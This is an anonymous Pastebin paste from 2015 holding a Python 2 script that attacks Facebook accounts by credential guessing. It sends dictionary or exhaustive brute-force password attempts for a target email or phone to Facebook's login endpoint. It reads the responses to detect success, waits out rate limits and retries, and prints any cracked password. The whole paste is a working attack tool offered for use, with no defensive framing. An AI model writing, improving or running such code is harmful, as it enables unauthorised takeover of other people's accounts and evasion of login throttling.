Advertisement
Guest User

Untitled

a guest
Jul 12th, 2015
360
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.96 KB | None | 0 0
  1. import urllib
  2. import urllib2
  3. import cookielib
  4. import time
  5. import argparse
  6. from itertools import product
  7.  
  8. parser = argparse.ArgumentParser(description='inputs') #creates ArgumentParser object, will parse cli into python data types
  9. parser.add_argument("-t", "--target", help="Target") #tells how to take strings on CLI and turn into objects
  10. parser.add_argument("-d", "--dictionary", help="Dictionary") #
  11. parser.add_argument("-b", "--brute", help="Brute Force")
  12. args = parser.parse_args()
  13.  
  14. stop = False
  15. print args.target
  16. print __name__
  17.  
  18. if args.target:
  19. def login(tgt, passw):
  20. error = False
  21. cj = cookielib.CookieJar()
  22. opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
  23. login_data = urllib.urlencode({"email" : tgt, "pass" : passw})
  24. resp = opener.open("https://login.facebook.com/login.php", login_data)
  25. contents = resp.read()
  26. if '<div class="fsl fwb fcb">Cookies Required</div>' in contents:
  27. print '[*] Setting Cookies'
  28. print '[*] Attempting Password: ' + passw
  29. resp = opener.open("https://login.facebook.com/login.php", login_data)
  30. contents = resp.read()
  31. if "<p>The phone number you entered does not belong to any account.</p>" in contents or "<p>The email address you entered does not belong to any account.</p>" in contents:
  32. print "[!] Account does not exist"
  33. exit()
  34. if '<div class="fls fwb fcb">Please re-enter your password</div>' in contents:
  35. print "[-] Access Denied"
  36. error = True
  37. if '<div class="fsl fwb fcb">Cookies Required</div>' in contents:
  38. print "[!] Cookie Error"
  39. exit()
  40. if '<div class="fsl fwb fcb">Please try again later</div>' in contents:
  41. print "[-] Ammount of attempts exhaust - Reattempting in 1 minute"
  42. time.sleep(60)
  43. error = True
  44. elif error == True:
  45. pass
  46. else:
  47. print "[+] Account Cracked - Password: "+ passw
  48. exit()
  49. if args.dictionary and args.brute:
  50. print "The correct syntax is: python script.py -t <target> -d <dictionary attack/file> / -b <max> <brute force>"
  51. if args.dictionary:
  52. passwordfile = open(args.dictionary, "r")
  53. for line in passwordfile:
  54. login(args.target, line.strip())
  55. if args.brute:
  56. characters = "`1234567890-=qwertyuiop[]asdfghhjkl;'zxcvbnm,./\~!@#$%^&*()_+QWERTYUIOP{}ASDFGHJKL:" + '"' + "ZXCVBNM<>?|"
  57. for length in range(1,int(args.brute)):
  58. to_attempt = product(characters, repeat = length)
  59. for attempt in to_attempt:
  60. password = ("".join(attempt))
  61. login(args.target, password)
  62.  
  63. if "__main__" == __name__:
  64. if stop == False:
  65. print __name__
  66. print "The correct syntax is: python script.py -t <target> -d <dictionary attack/file> / -b <max> <brute force>"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement